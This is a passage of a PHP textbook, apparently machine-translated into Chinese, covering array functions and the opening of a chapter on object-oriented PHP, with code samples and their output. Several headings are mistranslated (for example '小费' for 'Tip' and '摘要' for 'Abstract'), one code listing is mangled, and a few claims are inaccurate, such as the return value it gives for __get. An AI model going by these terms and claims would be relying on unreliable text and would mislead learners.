        // Disassemble dates
        list($amonth, $aday, $ayear) = explode('-',$a);
        list($bmonth, $bday, $byear) = explode('-',$b);

        // Pad the month with a leading zero if leading number not present
        $amonth = str_pad($amonth, 2, "0", STR_PAD_LEFT);
        $bmonth = str_pad($bmonth, 2, "0", STR_PAD_LEFT);

        // Pad the day with a leading zero if leading number not present
        $aday = str_pad($aday, 2, "0", STR_PAD_LEFT);
        $bday = str_pad($bday, 2, "0", STR_PAD_LEFT);

        // Reassemble dates
        $a = $ayear . $amonth . $aday;
        $b = $byear . $bmonth . $bday;

        // Determine whether date $a > date $b. Using the spaceship operator that return -1, 0 or 1
        // based on the comparison of $a and $b. This requires PHP 7.0 or greater.
        return ($a <=> $b);
    }

    usort($dates, 'DateSort');

    echo "<p>Sorting the array using the user-defined DateSort() function: </p>";

    print_r($dates);
?>

这将返回以下内容(为便于阅读而格式化):

Sorting the array using the sort() function:
Array ( [0] => 1-01-2013 [1] => 10-10-2011 [2] => 10-10-2012
        [3] => 2-16-2011 [4] => 2-17-2010 )

Sorting the array using the natsort() function:
Array ( [0] => 1-01-2013 [3] => 2-16-2011 [4] => 2-17-2010
        [1] => 10-10-2011 [2] => 10-10-2012 )

Sorting the array using the user-defined DateSort() function:
Array ( [0] => 2-17-2010 [1] => 2-16-2011 [2] => 10-10-2011
        [3] => 10-10-2012 [4] => 1-01-2013 )

合并、切片、拼接和分割数组

本节介绍了许多函数,这些函数能够执行更复杂的数组操作任务,例如组合和合并多个数组、提取数组元素的横截面以及比较数组。

合并数组

array_merge()函数将数组合并在一起,返回一个统一的数组。结果数组将从第一个输入数组参数开始,按照出现的顺序追加每个后续数组参数。其原型如下:

array array_merge(array array1, array array2 [, array arrayN])

如果输入数组包含的字符串键已经存在于结果数组中,则该键/值对将覆盖先前存在的条目。这种行为不适用于数字键,在这种情况下,键/值对将被追加到数组中。下面是一个例子:

$face = array("J", "Q", "K", "A");
$numbered = array("2", "3", "4", "5", "6", "7", "8", "9");
$cards = array_merge($face, $numbered);
shuffle($cards);
print_r($cards);

这将返回如下内容(您的结果会有所不同,因为 shuffle 函数会以随机顺序对数组元素进行重新排序):

Array ( [0] => 8 [1] => 6 [2] => K [3] => Q [4] => 9 [5] => 5
        [6] => 3 [7] => 2 [8] => 7 [9] => 4 [10] => A [11] => J )

递归追加数组

array_merge_recursive()功能的操作与array_merge(),相同,将两个或多个数组连接在一起,形成一个统一的数组。这两个函数的区别在于,当一个输入数组中的字符串键已经存在于结果数组中时,该函数的行为方式。注意,array_merge()将简单地覆盖预先存在的键/值对,用在当前输入数组中找到的键/值对替换它,而array_merge_recursive()将把值合并在一起,形成一个新的数组,用预先存在的键作为它的名称。其原型如下:

array array_merge_recursive(array array1, array array2 [, array arrayN])

下面是一个例子:

$class1 = array("John" => 100, "James" => 85);
$class2 = array("Micky" => 78, "John" => 45);
$classScores = array_merge_recursive($class1, $class2);
print_r($classScores);

这将返回以下内容:

Array (
   [John] => Array (
      [0] => 100
      [1] => 45
   )
   [James] => 85
   [Micky] => 78
)

注意,键John现在指向由两个分数组成的数字索引数组。

组合两个数组

array_combine()函数产生一个新的数组,由一组提交的键和相应的值组成。其原型如下:

array array_combine(array keys, array values)

两个输入数组的大小必须相等,并且都不能为空。下面是一个例子:

$abbreviations = array("AL", "AK", "AZ", "AR");
$states = array("Alabama", "Alaska", "Arizona", "Arkansas");
$stateMap = array_combine($abbreviations,$states);
print_r($stateMap);

这将返回以下内容:

Array ( [AL] => Alabama [AK] => Alaska [AZ] => Arizona [AR] => Arkansas )

分割数组

array_slice()函数根据起始值offset和 e length返回数组的一部分。其原型如下:

array array_slice(array array, int offset [, int length [, boolean preserve_keys]])

正的offset值将导致切片从数组的开头开始offset位置,而负的offset值将从数组的结尾开始切片offset位置。如果省略可选的 length 参数,切片将从偏移量开始,到数组的最后一个元素结束。如果提供了length并且是正数,它将在从数组开始的offset + length位置结束。相反,如果提供了length并且是负的,那么它将从数组的末尾开始在count(input_array) – length位置结束。考虑一个例子:

$states = array("Alabama", "Alaska", "Arizona", "Arkansas",
                 "California", "Colorado", "Connecticut");

$subset = array_slice($states, 4);

print_r($subset);

这将返回以下内容:

Array ( [0] => California [1] => Colorado [2] => Connecticut )

考虑第二个例子,这个例子涉及负长度:

$states = array("Alabama", "Alaska", "Arizona", "Arkansas",
"California", "Colorado", "Connecticut");

$subset = array_slice($states, 2, -2);

print_r($subset);

这将返回以下内容:

Array ( [0] => Arizona [1] => Arkansas [2] => California )

将可选的preserve_keys参数设置为true将导致数组值的键保留在返回的数组中。

拼接数组

array_splice()函数删除在指定范围内找到的数组的所有元素,用由replacement参数标识的值替换它们,并以数组的形式返回删除的元素。它可用于移除元素、添加元素或替换数组中的元素。其原型如下:

array array_splice(array array, int offset [, int length [, array replacement]])

正的offset值将导致拼接从数组开始的位置开始,而负的offset值将从数组结束的位置开始拼接。如果省略可选的length参数,从偏移位置到数组结尾的所有元素都将被删除。如果length被提供并且为正,拼接将在从数组开始的offset + length位置结束。相反,如果提供了length并且为负,拼接将在从数组末端开始的count(input_array)length位置结束。下面是一个例子:

$states = array("Alabama", "Alaska", "Arizona", "Arkansas",
                "California", "Connecticut");

$subset = array_splice($states, 4);

print_r($states);

print_r($subset);

这会产生以下内容(为便于阅读而格式化):

Array ( [0] => Alabama [1] => Alaska [2] => Arizona [3] => Arkansas )
Array ( [0] => California [1] => Connecticut )

您可以使用可选参数replacement来指定一个数组来替换目标段。下面是一个例子:

$states = array("Alabama", "Alaska", "Arizona", "Arkansas",
                "California", "Connecticut");

$subset = array_splice($states, 2, -1, array("New York", "Florida"));

print_r($states);

这将返回以下内容:

Array ( [0] => Alabama [1] => Alaska [2] => New York
        [3] => Florida [4] => Connecticut )

计算数组交集

array_intersect()函数返回一个键保留的数组,该数组只包含第一个数组中的值,这些值也存在于其他每个输入数组中。其原型如下:

array array_intersect(array array1, array array2 [, arrayN])

以下示例将返回在$array1中找到的、同时出现在$array2$array3中的所有状态:

$array1 = array("OH", "CA", "NY", "HI", "CT");
$array2 = array("OH", "CA", "HI", "NY", "IA");
$array3 = array("TX", "MD", "NE", "OH", "HI");
$intersection = array_intersect($array1, $array2, $array3);
print_r($intersection);

这将返回以下内容:

Array ( [0] => OH [3] => HI )

注意,array_intersect()认为两个项目相等,如果它们在转换成字符串后具有相同的值。

小费

array_intersect_key()函数将返回位于一个数组中的键,该数组位于任何其他提供的数组中。该功能的原型与array_intersect()相同。同样,array_intersect_ukey()函数允许你用用户定义的函数确定的比较算法来比较多个数组的键。更多信息请参考 PHP 手册。

计算关联数组交集

函数array_intersect_assoc()的操作与array_intersect(),相同,除了它也在比较中考虑数组键。因此,只有位于第一个数组中并且在所有其他输入数组中也可以找到的键/值对才会在结果数组中返回。其原型如下:

array array_intersect_assoc(array array1, array array2 [, arrayN])

以下示例返回一个数组,该数组包含在$array1中找到的、同时出现在$array2$array3中的所有键/值对:

$array1 = array("OH" => "Ohio", "CA" => "California", "HI" => "Hawaii");
$array2 = array("50" => "Hawaii", "CA" => "California", "OH" => "Ohio");
$array3 = array("TX" => "Texas", "MD" => "Maryland", "OH" => "Ohio");
$intersection = array_intersect_assoc($array1, $array2, $array3);
print_r($intersection);

这将返回以下内容:

Array ( [OH] => Ohio )

注意,Hawaii 没有被返回,因为$array2中对应的键是50而不是HI(其他两个数组也是这种情况)。

计算数组差异

本质上与array_intersect()相反,函数array_diff()返回位于第一个数组中但不在任何后续数组中的值:

array array_diff(array array1, array array2 [, arrayN])

下面是一个例子:

$array1 = array("OH", "CA", "NY", "HI", "CT");
$array2 = array("OH", "CA", "HI", "NY", "IA");
$array3 = array("TX", "MD", "NE", "OH", "HI");
$diff = array_diff($array1, $array2, $array3);
print_r($diff);

这将返回以下内容:

Array ( [0] => CT )

如果你想使用一个用户定义的函数来比较数组值,可以使用array_udiff()函数。

小费

array_diff_key()函数将返回位于一个数组中的键,这些键不在任何其他提供的数组中。该功能的原型与array_diff()相同。同样,array_diff_ukey()函数允许你用用户定义的函数确定的比较算法来比较多个数组的键。更多信息请参考 PHP 手册。

计算关联数组差异

函数array_diff_assoc()的操作与array_diff()相同,除了它在比较中也考虑数组键。因此,只有位于第一个数组中但没有出现在任何其他输入数组中的键/值对才会在结果数组中返回。其原型如下:

array array_diff_assoc(array array1, array array2 [, array arrayN])

以下示例仅返回"HI" => "Hawaii",因为这个特定的键/值出现在$array1中,但没有出现在$array2$array3中:

$array1 = array("OH" => "Ohio", "CA" => "California", "HI" => "Hawaii");
$array2 = array("50" => "Hawaii", "CA" => "California", "OH" => "Ohio");
$array3 = array("TX" => "Texas", "MD" => "Maryland", "KS" => "Kansas");
$diff = array_diff_assoc($array1, $array2, $array3);
print_r($diff);

这将返回以下内容:

Array ( [HI] => Hawaii )

小费

array_udiff_assoc()array_udiff_uassoc()array_diff_uassoc()函数都能够使用用户定义的函数以多种方式比较数组的差异。更多信息请参考 PHP 手册。

其他有用的数组函数

这一节介绍了许多数组函数,这些函数可能不容易归入前面的章节,但仍然非常有用。

返回一组随机的密钥

函数将返回在一个数组中找到的随机数。其原型如下:

mixed array_rand(array array [, int num_entries])

如果省略可选的num_entries参数,将只返回一个随机值。您可以通过相应地设置 num_entries 来调整返回的随机值的数量。下面是一个例子:

$states = array("Ohio" => "Columbus", "Iowa" => "Des Moines",
                "Arizona" => "Phoenix");
$randomStates = array_rand($states, 2);
print_r($randomStates);

这将返回以下内容(您的输出可能会有所不同):

Array ( [0] => Arizona [1] => Ohio )

洗牌数组元素

函数随机地对一个数组进行重新排序。其原型如下:

void shuffle(array input_array)

考虑一个包含代表扑克牌的值的数组:

$cards = array("jh", "js", "jd", "jc", "qh", "qs", "qd", "qc",
               "kh", "ks", "kd", "kc", "ah", "as", "ad", "ac");
shuffle($cards);
print_r($cards);

这将返回如下内容(您的结果将因随机而异):

Array ( [0] => js [1] => ks [2] => kh [3] => jd
            [4] => ad [5] => qd [6] => qc [7] => ah
            [8] => kc [9] => qh [10] => kd [11] => as
            [12] => ac [13] => jc [14] => jh [15] => qs )

添加数组值

array_sum()函数将input_array的所有值相加,返回最终总和。其原型如下:

mixed array_sum(array array)

如果在数组中发现其他数据类型(例如,带有非数值的字符串),它们将被忽略。下面是一个例子:

<?php
    $grades = array(42, "hello", "42");
    $total = array_sum($grades);
    print $total;
?>

这将返回以下内容:

84

细分数组

array_chunk()函数将 input_array 分解成一个多维数组,其中包含几个由size元素组成的更小的数组。其原型如下:

array array_chunk(array array, int size [, boolean preserve_keys])

如果input_array不能按大小均匀划分,最后一个数组将包含少于 size 的元素。启用可选参数 preserve_keys 将保留每个值的对应键。省略或禁用此参数会导致每个数组的数字索引从零开始。下面是一个例子:

$cards = array("jh", "js", "jd", "jc", "qh", "qs", "qd", "qc",
               "kh", "ks", "kd", "kc", "ah", "as", "ad", "ac");

// shuffle the cards
shuffle($cards);

// Use array_chunk() to divide the cards into four equal "hands"
$hands = array_chunk($cards, 4);

print_r($hands);

这将返回以下内容(您的结果会因随机播放而有所不同):

Array ( [0] => Array ( [0] => jc [1] => ks [2] => js [3] => qd )
        [1] => Array ( [0] => kh [1] => qh [2] => jd [3] => kd )
        [2] => Array ( [0] => jh [1] => kc [2] => ac [3] => as )
        [3] => Array ( [0] => ad [1] => ah [2] => qc [3] => qs ) )

摘要

数组在编程中扮演着不可或缺的角色,并且在所有可以想象的应用中无处不在,无论是否基于 web。本章的目的是让你快速了解许多 PHP 函数,当你处理这些数组时,这些函数会让你的编程生活变得更加容易。

下一章关注另一个非常重要的主题:面向对象编程。

六、面向对象的 PHP

尽管 PHP 最初并不是一种面向对象的语言,但是多年来,人们已经投入了大量的精力来添加其他语言中的许多面向对象的特性。本章及以下内容旨在介绍这些特性。在这样做之前,让我们考虑一下面向对象编程(OOP)开发模型的优点。

注意

虽然这一章和下一章为您提供了 PHP 的 OOP 特性的广泛介绍,但是对 PHP 开发人员来说,它们的分支的彻底处理实际上值得一整本书。Matt Zandstra 的 PHP Objects,Patterns,and Practice ,第五版(Apress,2016)很方便地详细介绍了这个主题,并附有用 PHP 实现设计模式的精彩介绍以及 Phing、PEAR 和 phpDocumentor 等关键开发工具的概述。

面向对象的好处

面向对象编程强调应用的对象及其交互。对象可以被认为是现实世界中某个实体的虚拟表示,例如整数、电子表格或表单文本字段,将实体的属性和行为捆绑到一个独立的结构中。当采用面向对象的方法开发应用时,您将以这样一种方式创建这些对象,当一起使用时,它们形成了您的应用想要表示的“世界”。这种方法有很多优点,包括增强的代码可重用性、可测试性和可伸缩性。随着你不仅阅读本章和下一章,而且阅读本书的大部分内容,面向对象的方法将会在任何可行的时候被接受,OOP 赋予这些优势背后的原因将会变得更加明显。

本节考察了 OOP 的三个基本概念:封装、继承多态。这三个理念共同构成了迄今为止最强大的编程模型的基础。

包装

程序员通常喜欢把东西拆开,学习所有的小部件如何一起工作。虽然令人满意,但获得如此深入的项目内部工作知识并不是编程熟练的先决条件。例如,数百万人每天都在使用电脑,但很少有人知道它实际上是如何工作的。同样的想法也适用于汽车、微波炉和许多其他物品。我们可以通过使用接口来摆脱这种无知。例如,你知道转动收音机的调谐盘或使用扫描按钮可以改变电台;不要介意你实际做的是告诉无线电收听以特定频率传输的信号,这是使用解调器完成的壮举。不理解这个过程并不妨碍你使用无线电,因为界面优雅地隐藏了这些细节。通过众所周知的接口将用户与应用的真正内部工作分离的实践被称为封装。

面向对象编程通过发布定义良好的接口(从这些接口可以访问某些对象属性和行为),促进了隐藏应用内部工作的相同概念。具有面向对象思想的开发人员设计每个应用组件,使其独立于其他组件,这不仅鼓励重用,而且使开发人员能够像拼图一样组装各个部分,而不是将它们紧紧捆绑在一起。这些部分被称为对象,对象是从一个被称为的模板中创建的,该模板指定了从其类模板中生成的典型对象(一个被称为实例化的过程)中可以预期的数据和行为。这种策略有几个优点:

  • 开发人员可以更有效地维护和改进类实现,而不会影响应用中与对象交互的部分,因为用户与对象的唯一交互是通过其定义良好的接口。

  • 由于对用户与应用的交互进行了控制,因此减少了用户出错的可能性。例如,用于表示网站用户的典型类可能包含保存电子邮件地址的行为。如果该行为包含确保电子邮件地址在语法上有效的逻辑,那么用户就不可能错误地分配一个空的或无效的电子邮件地址,比如carli# example.com

遗产

构成您的环境的许多对象可以使用一组明确定义的需求来建模。例如,所有雇员都有一组共同的特征:姓名、雇员 ID 和工资。然而,有许多不同类型的雇员:职员、主管、出纳员、首席执行官等等,他们中的每一个都可能拥有由这个通用雇员定义所定义的那些特征的一些超集。用面向对象的术语来说,每个专门化的雇员类型可以继承一般的雇员定义,并进一步扩展定义以适应每种类型的特定需求。例如,CEO(首席执行官)类型可能另外标识关于授予的股票期权的信息。基于这个想法,您可以稍后创建一个Human类,然后使Employee类成为Human的子类。其结果是,Employee类及其所有的派生类(ClerkCashierExecutive等)。)将立即继承由Human定义的所有特征和行为。

面向对象的开发方法非常重视继承的概念。这种策略促进了代码的可重用性,因为它假设人们能够在许多应用中使用设计良好的类(即,足够抽象以允许重用的类)。

我将在下一章正式探讨继承的主题;然而,在这一章中,我将不可避免地偶尔提到父类和子类。如果这些偶然的引用没有意义,不要担心,因为到下一章结束时,一切都会变得非常清楚。

多态性

多态,一个源于希腊语的术语,意思是“有多种形式”,定义了 OOP 重新定义或变形一个类的特性或行为的能力,这取决于它被使用的上下文。

回到这个例子,假设在雇员定义中包含了一个与签到有关的行为。对于类型(或类别)Clerk的雇员,这种行为可能涉及到实际使用一个时钟来给一个卡加时间戳。例如,对于其他类型的员工,Programmer登录可能需要登录到公司网络。尽管这两个类都是从Employee类中派生出这种行为,但是每个类的实际实现都依赖于实现“登录”的上下文。这就是多态性的力量。在 PHP 中,这个概念是通过定义一个或多个方法的名称和参数列表的接口类来实现的。这些方法的实际实现由每个实现接口的类来处理。

关键 OOP 概念

本节介绍关键的面向对象实现概念,包括 PHP 特定的示例。

班级

我们的日常环境由无数实体组成:植物、人、车辆、食物...我可以连续几个小时列举它们。每个实体都由一组特定的特征和行为来定义,这些特征和行为最终用来定义实体。例如,车辆可能被定义为具有诸如颜色、轮胎数量、品牌、型号和座位容量等特征,并且具有诸如停止、行驶、转弯和鸣喇叭等行为。在 OOP 的词汇表中,这样一个实体定义属性和行为的实例被称为

类旨在表示那些您希望在应用中操作的真实项目。例如,如果您想要创建一个管理公共库的应用,您可能想要包含表示书籍、杂志、雇员、特殊事件、顾客以及参与库管理过程的任何其他事物的类。这些实体中的每一个都包含了一组特定的特征和行为,在 OOP 中分别称为属性和方法,它们定义了实体的本质。PHP 的通用类创建语法如下:

class Class_Name
{
    // Property declarations defined here
    // Method declarations defined here
}

清单 6-1 描述了一个代表库雇员的类。

class Employee
{

    private $name;
    private $title;

    public function getName() {
        return $this->name;
    }

    public function setName($name) {
        $this->name = $name;
    }

    public function sayHello() {
        echo "Hi, my name is {$this->getName()}.";
    }

}

Listing 6-1Class Creation

这个名为Employee的类定义了两个属性:nametitle,以及三个方法:getName(), setName()sayHello()。如果您不熟悉某些或任何语法,也不用担心;这一点在本章后面会变得清楚。

注意

虽然 PHP 没有提供编码标准,但社区中有许多标准可用。第一个来自 PEAR ( https://pear.php.net/manual/en/standards.php ),但是后来的一些越来越受欢迎,因为它们被许多不同的框架所采用。这些由 PHP-FIG ( https://www.php-fig.org/ )管理和记录,PHP-FIG 是一个提供编码和使用编程语言的许多其他方面的标准的组织。

目标

一个类提供了一个基础,从这个基础上你可以创建类模型的实体的特定实例,更好的说法是对象。例如,员工管理应用可能包含一个Employee类。然后,您可以调用这个类来创建和维护特定的实例,如SallyJim

注意

基于预定义类创建对象的实践通常被称为类实例化

使用关键字new创建对象,如下所示:

$employee = new Employee;

一旦创建了对象,该类中定义的所有特征和行为都可供新实例化的对象使用。这是如何实现的将在下面的章节中揭示。

性能

属性是描述特定值的属性,如名称、颜色或年龄。它们与标准的 PHP 变量非常相似,除了几个关键的区别,这将在本节中介绍。您还将了解如何声明和调用属性,以及如何使用属性范围来限制访问。

声明属性

关于属性声明的规则与变量声明的规则非常相似;基本上没有。因为 PHP 是一种松散类型的语言,属性甚至不一定需要声明;它们可以简单地由一个类对象同时创建和赋值,尽管你很少想这么做,因为这会降低代码的可读性。相反,通常的做法是在类的开头声明属性。或者,您可以在此时为它们分配初始值。下面是一个例子:

class Employee
{
    public $name = "John";
    private $wage;
}

在这个例子中,namewage这两个属性前面都有一个范围描述符(publicprivate),这是声明属性时的一种常见做法。一旦声明,每个属性都可以在作用域描述符赋予它的条件下使用。如果你不知道作用域在类属性中扮演什么角色,不要担心,这个主题将在本章后面讨论。

调用属性

使用->操作符引用属性,与变量不同,属性前面没有美元符号。此外,因为属性值通常特定于给定的对象,所以它与该对象的关联如下:

$object->property

例如,Employee类包括属性nametitlewage。如果你创建了一个名为$employeeEmployee类型的对象,你可以像这样引用它的公共属性:

$employee->name
$employee->title
$employee->wage

当您从定义它的类中引用一个属性时,它仍然以->操作符开头,尽管您没有将它与类名相关联,而是使用了$this关键字。$this暗示你所指的属性与被访问或操作的属性位于同一个类中。因此,如果您要在Employee类中创建一个设置 name 属性的方法,它可能看起来像这样:

function setName($name)
{
    $this->name = $name;
}

管理属性范围

PHP 支持三个类属性范围: public,private,protected

公共财产

通过在属性前加上关键字public,可以在公共范围内声明属性。下面是一个例子:

class Employee
{
    public $name;
    // Other property and method declarations follow...
}

此示例定义了一个具有单个公共属性的简单类。为了使用该类,必须将其实例化为一个对象。这是通过使用new操作符完成的。$employee = new Employee();类名后面的括号用来给构造函数提供参数。在这种情况下,没有定义构造函数,所以没有参数。

然后,可以通过相应的对象直接访问和操作公共属性,如下所示:

$employee = new Employee();
$employee->name = "Mary Swanson";
$name = $employee->name;
echo "New employee: $name";

执行这段代码会产生以下结果:

New employee: Mary Swanson

尽管这看起来像是维护类属性的逻辑手段,但公共属性实际上通常被认为是禁忌,这是有充分理由的。避免这种实现的原因是,这种直接访问剥夺了类实施任何类型的数据验证的便利手段。例如,没有什么可以阻止用户像这样分配一个name:

$employee->name = "12345";

这肯定不是您所期望的那种输入。为了防止这种情况发生,有两种解决方案。一种解决方案是将数据封装在对象中,使其只能通过一系列接口获得,这就是所谓的公共方法。以这种方式封装的数据通常在范围上是私有的。第二个推荐的解决方案涉及到属性的使用,实际上与第一个解决方案非常相似,尽管在大多数情况下更方便一些。接下来介绍私有范围,随后是关于属性的部分。

私有财产

私有属性只能从定义它们的类中访问。下面是一个例子:

class Employee
{
    private $name;
    private $telephone;
}

被指定为私有的属性只能被从类实例化的对象直接访问,但是它们不能被从子类实例化的对象访问(子类的概念将在下一章介绍)。如果您想让这些属性对子类可用,可以考虑使用 protected 作用域,这将在下面介绍。注意私有属性必须通过公开暴露的接口来访问,这满足了本章开始时介绍的 OOP 的主要原则之一:封装。考虑下面的例子,其中私有属性由公共方法操作:

   class Employee
   {
      private $name;
      public function setName($name) {
         $this->name = $name;
      }
   }

   $employee = new Employee;
   $employee->setName("Mary");

将此类属性的管理封装在一个方法中,使开发人员能够保持对如何设置该属性的严格控制。例如,您可以增强setName()方法的功能,以验证名称是否被设置为只包含字母字符,并确保它不为空。这种策略比让最终用户提供有效信息要实用得多。

受保护的属性

就像函数通常需要仅供函数内部使用的变量一样,类可以包含仅供内部使用的属性。这些财产被视为受保护,并相应地被加上前缀。下面是一个例子:

class Employee
{
     protected $wage;
}

受保护的属性也可供继承的类访问和操作,这是私有属性所没有的特性。因此,如果计划扩展该类,应该使用受保护的属性来代替私有属性。

下面的示例显示了一个类如何扩展另一个类,并从父类获得对所有受保护属性的访问权,就好像这些属性是在子类中定义的一样。

class Programmer extends Employee
{
     public function bonus($percent) {
        echo "Bonud = " . $this->wage * $percent / 100;
    }
}

属性重载

属性重载通过公共方法强制访问和操作来继续保护属性,同时允许像访问公共属性一样访问数据。这些方法被称为访问器变异器,或者更通俗地说,更广为人知的名称是获取器设置器,它们分别在属性被访问或操作时被自动触发。

不幸的是,PHP 不提供属性重载特性,如果您熟悉 C++和 Java 等其他 OOP 语言,您可能会习惯这种特性。因此,您需要使用公共方法来模仿这样的功能。例如,您可以为属性名创建 getter 和 setter 方法,方法是分别声明两个函数getName()setName(),并在每个函数中嵌入适当的语法。本节的结尾给出了这种策略的一个例子。

PHP 5 引入了一些对属性重载的支持,通过重载__set__get方法来实现。如果试图引用不存在于类定义中的成员变量,将调用这些方法。属性可用于各种目的,如调用错误信息,甚至通过动态创建新变量来扩展类。本节将介绍__get__set

使用 __set()方法设置属性

赋值器设置器方法负责隐藏属性赋值实现,并在将类数据赋给类属性之前验证类数据。其原型如下:

public void __set([string name], [mixed value])

__set()方法将属性名和相应的值作为输入。下面是一个例子:

class Employee
{
    public $name;
    function __set($propName, $propValue)
    {
        echo "Nonexistent variable: \$$propName!";
    }
}

$employee = new Employee;
$employee->name = "Mario";
$employee->title = "Executive Chef";

这会产生以下输出:

Nonexistent variable: $title!

您可以使用这个方法用新的属性来扩展这个类,就像这样:

class Employee
{
    public $name;
    public function __set($propName, $propValue)
    {
        $this->$propName = $propValue;
    }
}

$employee = new Employee;
$employee->name = "Mario";
$employee->title = "Executive Chef";
echo "Name: {$employee->name}<br />";
echo "Title: {$employee->title}";

这会产生以下结果:

Name: Mario
Title: Executive Chef

使用 __get()方法获取属性

访问器,或赋值器方法,负责封装检索类变量所需的代码。其原型如下:

public mixed __get([string name])

它接受一个参数作为输入,即您想要检索其值的属性的名称。它应该在成功执行时返回值TRUE,否则返回值FALSE。下面是一个例子:

class Employee
{
    public $name;
    public $city;
    protected $wage;

    public function __get($propName)
    {
        echo "__get called!<br />";
        $vars = array("name", "city");
        if (in_array($propName, $vars))
        {
           return $this->$propName;
        } else {
           return "No such variable!";
        }
    }

}

$employee = new Employee();
$employee->name = "Mario";

echo "{$employee->name}<br />";
echo $employee->age;

这将返回以下内容:

Mario
__get called!
No such variable!

创建自定义 Getters 和 Setters

坦率地说,尽管__set()__get()方法有一些好处,但它们对于管理复杂的面向对象应用中的属性来说确实不够,主要是因为大多数属性都需要它们自己特定的验证逻辑。因为 PHP 不像 Java 或 C#那样支持属性的创建,所以您需要实现自己的解决方案。考虑为每个私有属性创建两个方法,如下所示:

<?php

    class Employee
    {

        private $name;

        // Getter
        public function getName() {
            return $this->name;
        }

        // Setter
        public function setName($name) {
            $this->name = $name;
        }

    }

?>

尽管这种策略不能提供与使用属性相同的便利,但它确实使用标准化的命名约定封装了管理和检索任务。当然,您应该向 setter 添加额外的验证功能;然而,这个简单的例子应该足以说明问题。

常数

您可以在一个类中定义常量、或不想改变的值。这些值将在从该类实例化的任何对象的整个生命周期中保持不变。类常量是这样创建的:

const NAME = 'VALUE';

例如,假设您创建了一个与数学相关的类,其中包含许多定义数学函数的方法,以及许多常量:

class mathFunctions
{
    const PI = '3.14159265';
    const E = '2.7182818284';
    const EULER = '0.5772156649';
    // Define other constants and methods here...
}

类常量被定义为类定义的一部分,其值不能像属性一样在运行时改变,也不能像用define()函数定义的其他常量那样改变。类常量被认为是类的静态成员,因此可以使用::而不是- >来访问它们。稍后将详细介绍静态属性和方法。然后可以这样调用类常量:

echo mathFunctions::PI;

方法

一个方法非常类似于一个函数,除了它打算定义一个特定类的行为。在前面的例子中,您已经使用了许多方法,其中许多都与对象属性的设置和获取有关。像函数一样,方法可以接受参数作为输入,并可以向调用者返回值。方法也像函数一样被调用,除了方法前面有调用方法的对象的名称,就像这样:

$object->methodName();

在这一节中,您将学习所有关于方法的知识,包括方法声明、方法调用和作用域。

声明方法

方法的创建方式与函数完全相同,使用相同的语法。方法和普通函数之间的唯一区别是方法声明通常以范围描述符开头。通用语法如下:

scope function functionName()
{
    // Function body goes here
}

例如,名为calculateSalary()的公共方法可能如下所示:

public function calculateSalary()
{
    return $this->wage * $this->hours;
}

在这个例子中,该方法使用关键字$this直接调用两个类属性wagehours。它通过将两个属性值相乘来计算薪水,并像函数一样返回结果。但是,请注意,方法并不仅限于处理类属性;传递参数完全有效,就像传递函数一样。

有许多保留的方法名用于具有特殊用途的方法。这些被称为魔术的方法和名字是:__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __debugInfo()。这些方法将在以后定义,它们都不需要创建一个类。

调用方法

方法的调用方式与函数几乎完全相同。继续前面的例子,calculateSalary()方法将像这样被调用:

$employee = new Employee("Janie");
$salary = $employee->calculateSalary();

方法范围

PHP 支持三种方法作用域: public、private、protected。

公共方法

可以随时随地访问公共方法。您通过在公共方法前面加上关键字public来声明它。下面的示例演示了这两种声明方法,还演示了如何从类外部调用公共方法:

<?php
    class Visitor
    {
        public function greetVisitor()
        {
            echo "Hello!";
        }
}

    $visitor = new Visitor();
    $visitor->greetVisitor();
?>

以下是结果:

Hello!

私有方法

标记为私有的方法只能在同一个类中定义的方法中使用,而不能用于子类中定义的方法。仅用于帮助类中其他方法的方法应该标记为私有。例如,考虑一个名为validateCardNumber()的方法,它用于确定顾客的图书证号码的语法有效性。虽然这种方法对于满足许多任务(比如创建顾客和自助结账)肯定是有用的,但是当单独执行时,这种功能没有任何用处。因此,validateCardNumber()应该被标记为私有,然后在例如setCardNumber()方法中使用,如下面的清单 6-2 所示:

{
    if $this->validateCardNumber($number) {
        $this->cardNumber = $number;
        return TRUE;
    }
    return FALSE;
}

private function validateCardNumber($number)
{
    if (!preg_match('/^([0-9]{4})-([0-9]{3})-([0-9]{2})/', $number) ) return FALSE;
        else return TRUE;
}

Listing 6-2public function setCardNumber($number)

试图从实例化对象外部调用validateCardNumber()方法会导致致命错误。

保护

标记为 protected 的类方法仅对起源类及其子类可用。这种方法可能用于帮助类或子类执行内部计算。例如,在检索特定职员的信息之前,您可能希望验证作为参数传入类构造函数的雇员标识号(EIN)。然后使用verifyEIN()方法验证这个 EIN 的语法正确性。因为该方法只供类中的其他方法使用,并且可能对从Employee派生的类有用,所以应该声明为 protected,如下所示:

<?php
    class Employee
    {
        private $ein;
        function __construct($ein)
        {
            if ($this->verifyEIN($ein)) {

                echo "EIN verified. Finish";
            }

        }
        protected function verifyEIN($ein)
        {
            return TRUE;
        }
    }
    $employee = new Employee("123-45-6789");
?>

由于其受保护的作用域状态,试图从类外部或任何子类调用verifyEIN()将导致致命错误。

摘要

方法的特殊之处在于,它们只在父类中声明,而在子类中实现。只有声明为抽象的类才能包含抽象方法,抽象类不能被实例化。它们充当子类或子类的基本定义。如果您想要定义一个应用编程接口(API ),以便以后用作实现的模型,您可以声明一个抽象方法。开发人员应该知道,只要该方法满足抽象方法定义的所有需求,他的特定实现就应该工作。抽象方法是这样声明的:

abstract function methodName();

假设您想要创建一个抽象的Employee类,它将作为各种雇员类型(经理、职员、出纳员等)的基类。):

abstract class Employee
{
    abstract function hire();
    abstract function fire();
    abstract function promote();
    abstract function demote();
}

这个类可以由各自的雇员类扩展,比如ManagerClerkCashier。第七章详细阐述了这个概念,并且更深入地研究了抽象类。

最后的

将方法标记为 final 可以防止它被子类覆盖。一个最终的方法是这样声明的:

class Employee
{

    final function getName() {
    ...
    }
}

以后试图重写已完成的方法会导致致命错误。

注意

下一章将讨论类继承以及方法和属性重写的主题。

构造函数和析构函数

通常,在创建和销毁对象时,您会想要执行许多任务。例如,您可能希望立即为新实例化的对象分配几个属性。但是,如果您必须手动执行,您几乎肯定会忘记执行所有必需的任务。面向对象编程通过提供被称为构造函数析构函数的特殊方法来自动化对象的创建和销毁过程,从而大大减少了出现这种错误的可能性。

构造器

您通常希望初始化某些属性,甚至在新实例化一个对象时触发方法的执行。在实例化之后立即这样做没有错,但是如果自动完成的话会更容易。这种机制存在于 OOP 中,称为构造函数。很简单,构造函数被定义为在对象实例化时自动执行的代码块。OOP 构造函数提供了许多优势:

